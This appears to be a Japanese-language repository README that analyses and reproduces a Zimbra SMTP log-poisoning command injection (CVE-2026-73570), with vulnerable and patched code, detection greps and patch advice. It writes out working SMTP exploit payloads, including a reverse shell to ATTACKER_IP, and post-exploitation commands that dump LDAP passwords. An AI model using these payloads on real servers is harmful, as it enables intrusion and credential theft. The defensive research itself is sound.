
Zimbra Collaboration Suite RCE — SMTPログポイズニング → swatchdog → OSコマンドインジェクション(CVSS 8.9、CISA KEV)
注記: このリポジトリには、CVE-2026-73570 に関する独立した技術分析と PoC の再現が含まれています。これは元の脆弱性レポートではありません。
Zimbra Collaboration Suite の RCE — SMTP ログポイズニング → swatchdog → OS コマンドインジェクション (CVSS 8.9、CISA KEV)
種類: OS コマンドインジェクション → 未認証 RCE
ベクター: SMTP ログポイズニング → swatchdog → dosnmp の文字列形式シェル展開
ベンダー/CVE の影響範囲: Zimbra Collaboration Suite < 10.1.20
前提条件: zimbra-snmp がインストールされていること、SNMP 通知が有効であること
CVSS: 8.9 (High)
CISA KEV: はい — CISA の Known Exploited Vulnerabilities Catalog に追加済み
パッチ: Zimbra 10.1.20 (2026-07-20 リリース)
バージョン範囲に関する注記: ベンダー/CVE のメタデータでは、影響を受けるバージョンは Zimbra < 10.1.20 と記載されています。しかし、本調査で確認した Zimbra 10.1.0 のソースコードは、すでに安全なリスト形式の
system()呼び出しを使用していました。このことは、脆弱な文字列形式の実装が中間ビルドで導入され、後に 10.1.20 で修正されたことを示唆していますが、リグレッションが導入された正確なバージョンはリポジトリの履歴から独立して検証されていません。
この脆弱性は /opt/zimbra/conf/swatchrc.in に存在し、Zimbra サービスの状態変化時に SNMP トラップ通知を送信する役割を担う dosnmp 関数内にあります。
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
);
}
脆弱な実装では、Perl の system() の文字列形式を使用しています。結果として得られるコマンドはシェルによって解釈されるため、$args{SERVICE} に含まれる $(...) などのシェルメタ文字やコマンド置換が評価されます。
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"/opt/zimbra/common/bin/snmptrap",
"-v", "2c",
"-c", "zimbra",
$traphost,
"",
$snmpsvctrap,
$snmpsvcname,
"s",
$args{SERVICE},
$snmpsvcstatus,
"i",
$statuses{$args{STATUS}}
);
}
中核となるセキュリティ修正は、文字列形式からリスト形式の system() に切り替えることであり、攻撃者が制御するデータのシェル解釈を防ぎます。
リスト形式では、実行ファイルとその引数が別々に渡されます。$(cmd) のような値はシェル構文ではなくリテラルデータとして扱われます。
Attacker (Kali)
│
│ SMTP RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Zimbra server, port 25)
│
│ Accepts the RCPT TO
│ Logs it to /var/log/zimbra.log
▼
swatchdog (running as zimbra)
│
│ Pattern:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│
│ Captures attacker-controlled content
│ and passes it to donotify()
▼
donotify()
│
▼
dosnmp()
│
│ system("$snmptrap ... $args{SERVICE} ...")
▼
/bin/sh
│
│ Expands $(payload)
▼
Command execution as "zimbra"
│
▼
Reverse shell / post-exploitation
重要な問題は完全なデータフローです:
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution
Postfix は細工された引用符付きローカルパートを受け入れ、それを zimbra.log に記録します。その後 swatchdog は一致するログ内容をサービスステータスイベントとして解釈し、攻撃者が制御するデータが脆弱な system() 呼び出しに到達できるようにします。
以下のコマンドは、隔離されたラボ環境でのみテストされています。
ターゲットの SMTP サービスに接続します:
nc <target> 25
特別に細工された SMTP トランザクションを送信します:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
悪用が成功した場合、/tmp/pwned_rce には次のような出力が含まれます:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
これにより、zimbra ユーザーのコンテキストでのコマンド実行が確認されます。
攻撃者のマシンでリスナーを起動します:
nc -lvnp 4444
次に、SMTP経由でペイロードを送信します:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT
エクスプロイトに成功すると、zimbra ユーザーとして実行されるインタラクティブシェルが得られます。
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22
Hostname: mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24
この調査中に検査した Zimbra 10.1.0 のソースには、すでに安全なリスト形式の system() 実装が含まれていました。
したがって、このラボで使用した標準の 10.1.0 インストールは、Zimbra 10.1.0 自体が脆弱であった証拠としては扱われませんでした。
CVE-2026-73570 で説明されている脆弱な状態を再現するため、swatchrc.in を手動で変更し、脆弱な文字列形式の system() 実装を使用するようにしました。
元の設定をバックアップします:
cp /opt/zimbra/conf/swatchrc.in \
/opt/zimbra/conf/swatchrc.in.bak
脆弱な挙動は、Root Causeセクションに示されている文字列形式の実装を適用し、Zimbraログに対してswatchdogを実行することで、分離されたラボ環境で再現できます。
例:
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
このラボの改変は、脆弱なデータフローを再現し分析することのみを目的として存在します。これは、未改変の 10.1.0 ビルドが脆弱であった証拠として解釈されるべきではありません。
エクスプロイトに成功すると、zimbra ユーザーとしてコマンド実行が可能になります。
実行コンテキストを確認します:
id
例:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Zimbraのローカル設定は、侵害されたサービスアカウントが利用可能な認証情報を露出する可能性があります。
例:
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
これらの認証情報は Zimbra の LDAP ディレクトリへのアクセスを提供する可能性があり、zimbra ユーザーとしてコマンド実行を取得した後のポストエクスプロイトの影響を示しています。
Postfix/Zimbra のログで、swatchdog のサービスステータスパターンを含む SMTP 受信者エントリを検索します:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log
引用符で囲まれたローカルパート内のコマンド置換構文を対象とした、より広範な検索:
grep -E 'to=<"[^"]*\$\([^"]*\)"@' /var/log/zimbra.log
一致する事象は侵害試行の強い指標として扱い、直ちに調査する必要があります。
コマンド実行の成功を確認するには、以下のような相関する証拠が必要です:
zimbra として実行されている予期しないプロセス;/tmp 配下のもの;Zimbra Collaboration Suite を 10.1.20 以降 にアップグレードしてください。
このセキュリティ修正は、脆弱な dosnmp() の呼び出しを文字列形式からリスト形式の system() に変更し、攻撃者が制御する値がシェルによって解釈されることを防ぎます。
パッチ適用後は、システムが脆弱であった期間に発生した可能性のある侵害の証拠について、過去のログとシステムアクティビティを確認してください。
https://jpoch.dev/writeups/cve-2026-73570
https://www.youtube.com/watch?v=sN1Dt6gu3wY
このリポジトリには、CVE-2026-73570 に関する独立した技術分析と PoC の再現が含まれています。
これは元の脆弱性レポートではありません。また、独自に発見したという主張は行いません。
ここに記載されているすべてのテストは、教育および許可されたセキュリティ研究の目的で、隔離されたラボ環境において実施されました。
所有していないシステム、または明示的なテスト許可を得ていないシステムに対してこれらの手法を使用しないでください。